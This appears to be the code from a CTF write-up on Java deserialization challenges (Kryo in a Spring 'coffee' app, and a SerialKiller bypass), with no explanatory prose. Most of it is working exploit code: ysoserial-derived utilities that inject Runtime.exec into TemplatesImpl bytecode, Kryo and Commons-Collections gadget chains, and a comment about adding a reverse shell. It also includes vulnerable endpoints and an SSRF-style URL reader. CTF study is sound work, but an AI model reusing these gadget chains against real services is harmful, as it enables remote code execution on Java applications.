@RequestMapping({"/coffee/order"})public Message order(@RequestBody CoffeeRequest coffee) {  if (coffee.extraFlavor != null) {    ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));    Input input = new Input(bas);    ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);    return new Message(200, flavor.getName());

@RequestMapping({"/coffee/demo"})    public Message demoFlavor(@RequestBody String raw) throws Exception {        System.out.println(raw);        JSONObject serializeConfig = new JSONObject(raw);        if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {            this.kryo = new Kryo();            Method[] var3 = this.kryo.getClass().getDeclaredMethods();            int var4 = var3.length;            for(int var5 = 0; var5 < var4; ++var5) {                Method setMethod = var3[var5];                if (setMethod.getName().startsWith("set")) {                    try {                        Object p1 = serializeConfig.get(setMethod.getName().substring(3));                        if (!setMethod.getParameterTypes()[0].isPrimitive()) {                            try {                                p1 = Class.forName((String)p1).newInstance();                                setMethod.invoke(this.kryo, p1);                            } catch (Exception var9) {                                var9.printStackTrace();                            }                        } else {                            setMethod.invoke(this.kryo, p1);                        }                    } catch (Exception var10) {                    }                }            }        }        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Output output = new Output(bos);        this.kryo.register(Mocha.class);        this.kryo.writeClassAndObject(output, new Mocha());        output.flush();        output.close();        return new Message(200, "Mocha!", Base64.getEncoder().encode(bos.toByteArray()));    }

package demo;import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.rowset.JdbcRowSetImpl;import fun.mrctf.springcoffee.model.ExtraFlavor;import fun.mrctf.springcoffee.model.Mocha;import javassist.ClassPool;import org.json.JSONObject;import org.objenesis.strategy.SerializingInstantiatorStrategy;import org.objenesis.strategy.StdInstantiatorStrategy;import org.springframework.aop.target.HotSwappableTargetSource;import javax.sql.rowset.BaseRowSet;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.Base64;import java.util.HashMap;public class Testt {    protected Kryo kryo = new Kryo();    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public String ser(String raw) throws Exception{        JSONObject serializeConfig = new JSONObject(raw);        if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {            this.kryo = new Kryo();            Method[] var3 = this.kryo.getClass().getDeclaredMethods();            int var4 = var3.length;            for(int var5 = 0; var5 < var4; ++var5) {                Method setMethod = var3[var5];                if (setMethod.getName().startsWith("set")) {                    try {                        Object p1 = serializeConfig.get(setMethod.getName().substring(3));                        if (!setMethod.getParameterTypes()[0].isPrimitive()) {                            try {                                p1 = Class.forName((String)p1).newInstance();                                setMethod.invoke(this.kryo, p1);                            } catch (Exception var9) {                                var9.printStackTrace();                            }                        } else {                            setMethod.invoke(this.kryo, p1);                        }                    } catch (Exception var10) {                    }                }            }        }        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Output output = new Output(bos);        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();        TemplatesImpl templates = new TemplatesImpl();        byte[][] bytes = new byte[][]{ClassPool.getDefault().get("demo.YYDS").toBytecode()};        EqualsBean bean = new EqualsBean(String.class,"");        setFieldValue(templates, "_bytecodes", bytes);        setFieldValue(templates, "_name", "1");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        setFieldValue(bean,"beanClass", Templates.class);        setFieldValue(bean,"obj",templates);        Object gadgetChain = Utils.makeXStringToStringTrigger(templates,bean); // toString() trigger        objectObjectHashMap.put(gadgetChain,"");        kryo.writeClassAndObject(output, objectObjectHashMap);        output.flush();        output.close();        return new String(Base64.getEncoder().encode(bos.toByteArray()));    }    public void deser(String raw){        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(raw));        Input input = new Input(bas);        ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);        System.out.println(flavor.getName());    }    public static void main(String[] args) throws Exception {        Testt test = new Testt();        String ser = test.ser("{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}");        test.deser(ser);    }}

package demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.springframework.aop.target.HotSwappableTargetSource;import sun.reflect.ReflectionFactory;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.Serializable;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;/* * Utility class - based on code found in ysoserial, includes method calls used in * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. * * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger * to create a toString trigger * * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec */public class Utils {    static {        // special case for using TemplatesImpl gadgets with a SecurityManager enabled        System.setProperty(DESERIALIZE_TRANSLET, "true");        // for RMI remote loading        System.setProperty("java.rmi.server.useCodebaseOnly", "false");    }    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";    public static class StubTransletPayload extends AbstractTranslet implements Serializable {        private static final long serialVersionUID = -5971610431559700674L;        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}        @Override        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}    }    // required to make TemplatesImpl happy    public static class Foo implements Serializable {        private static final long serialVersionUID = 8207363842866235160L;    }    public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception {        return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);    }    public static Object createTemplatesImpl ( final String command ) throws Exception {        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {            return createTemplatesImpl(                    command,                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));        }        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);    }    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )            throws Exception {        final T templates = tplClass.newInstance();        // use template gadget class        ClassPool pool = ClassPool.getDefault();        pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));        pool.insertClassPath(new ClassClassPath(abstTranslet));        final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());        // run command in static initializer        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections        String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +                "\");";        clazz.makeClassInitializer().insertAfter(cmd);        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)        clazz.setName("ysoserial.Pwner" + System.nanoTime());        CtClass superC = pool.get(abstTranslet.getName());        clazz.setSuperclass(superC);        final byte[] classBytes = clazz.toBytecode();        // inject class bytes into instance        Utils.setFieldValue(templates, "_bytecodes", new byte[][] {                classBytes, Utils.classAsBytes(Utils.Foo.class)        });        // required to make TemplatesImpl happy        Utils.setFieldValue(templates, "_name", "Pwnr");        Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());        return templates;    }    public static Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        }        catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null)                field = getField(clazz.getSuperclass(), fieldName);        }        return field;    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.set(obj, value);    }    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        return field.get(obj);    }    public static Constructor<?> getFirstCtor(final String name) throws Exception {        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];        ctor.setAccessible(true);        return ctor;    }    @SuppressWarnings ( {"unchecked"} )    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);        objCons.setAccessible(true);        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);        sc.setAccessible(true);        return (T)sc.newInstance(consArgs);    }    public static String classAsFile(final Class<?> clazz) {        return classAsFile(clazz, true);    }    public static String classAsFile(final Class<?> clazz, boolean suffix) {        String str;        if (clazz.getEnclosingClass() == null) {            str = clazz.getName().replace(".", "/");        } else {            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();        }        if (suffix) {            str += ".class";        }        return str;    }    public static byte[] classAsBytes(final Class<?> clazz) {        try {            final byte[] buffer = new byte[1024];            final String file = classAsFile(clazz);            final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);            if (in == null) {                throw new IOException("couldn't find '" + file + "'");            }            final ByteArrayOutputStream out = new ByteArrayOutputStream();            int len;            while ((len = in.read(buffer)) != -1) {                out.write(buffer, 0, len);            }            return out.toByteArray();        } catch (IOException e) {            throw new RuntimeException(e);        }    }    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        Utils.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Utils.setFieldValue(s, "table", tbl);        return s;    }    public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {        return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));    }}

setWarnUnregisteredClassessetDefaultSerializersetDefaultSerializersetClassLoadersetRegistrationRequiredsetReferencessetCopyReferencessetReferenceResolversetInstantiatorStrategysetAutoResetsetMaxDepthsetOptimizedGenerics

getRegistration:579, Kryo (com.esotericsoftware.kryo)writeClass:112, DefaultClassResolver (com.esotericsoftware.kryo.util)writeClass:613, Kryo (com.esotericsoftware.kryo)writeClassAndObject:708, Kryo (com.esotericsoftware.kryo)ser:97, Testt (demo)main:121, Testt (demo)

{char=[5, char], long=[7, long], class java.lang.Byte=[4, byte], class java.lang.Character=[5, char], double=[8, double], class java.lang.Short=[6, short], int=[0, int], class java.lang.Integer=[0, int], byte=[4, byte], float=[2, float], class java.lang.Double=[8, double], class java.lang.Boolean=[3, boolean], boolean=[3, boolean], short=[6, short], class java.lang.Long=[7, long], class java.lang.String=[1, String], class java.lang.Float=[2, float]}

newInstantiatorOf:96, DefaultInstantiatorStrategy (com.esotericsoftware.kryo.util)newInstantiator:1190, Kryo (com.esotericsoftware.kryo)newInstance:1199, Kryo (com.esotericsoftware.kryo)create:163, FieldSerializer (com.esotericsoftware.kryo.serializers)read:122, FieldSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)deser:110, Testt (demo)main:126, Testt (demo)

public Object getObject()    throws IOException, ClassNotFoundException{    // creating a stream pipe-line, from b to a    ByteArrayInputStream b = new ByteArrayInputStream(this.content);    ObjectInput a = new ObjectInputStream(b);    Object obj = a.readObject();    b.close();    a.close();    return obj;}

Thread.sleep(10000);

String urlContent = "";final URL url = new URL(request.getParameter("read"));final BufferedReader in = new BufferedReader(new                                             InputStreamReader(url.openStream()));String inputLine = "";while ((inputLine = in.readLine()) != null) {  urlContent = urlContent + inputLine + "\n";}in.close();writer.println(urlContent);

@RestControllerpublic class HelloController {    public HelloController() {    }    @GetMapping({"/hello"})    public String index() {        return "hello";    }    @PostMapping({"/hello"})    public String index(@RequestBody String baseStr) throws Exception {        byte[] decode = Base64.getDecoder().decode(baseStr);        ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml");        ois.readObject();        return "hello";    }}

public class FactoryTransformer implements Transformer, Serializable {    private static final long serialVersionUID = -6817674502475353160L;    private final Factory iFactory;    public static Transformer getInstance(Factory factory) {        if (factory == null) {            throw new IllegalArgumentException("Factory must not be null");        } else {            return new FactoryTransformer(factory);        }    }    public FactoryTransformer(Factory factory) {        this.iFactory = factory;    }    public Object transform(Object input) {        return this.iFactory.create();    }    public Factory getFactory() {        return this.iFactory;    }}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.nibblesec.tools.SerialKiller;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static void main(String[] args) throws Exception{        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(obj, "_name", "1");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        InstantiateFactory instantiateFactory;        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class        ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);        ConstantTransformer constantTransformer = new ConstantTransformer(1);        Map innerMap = new HashMap();        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        setFieldValue(outerMap,"factory",factoryTransformer);        outerMap.remove("keykey");        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(expMap);        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());        ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml");        ois.readObject();    }}

jmap -dump:format=b,file=e.bin <pid>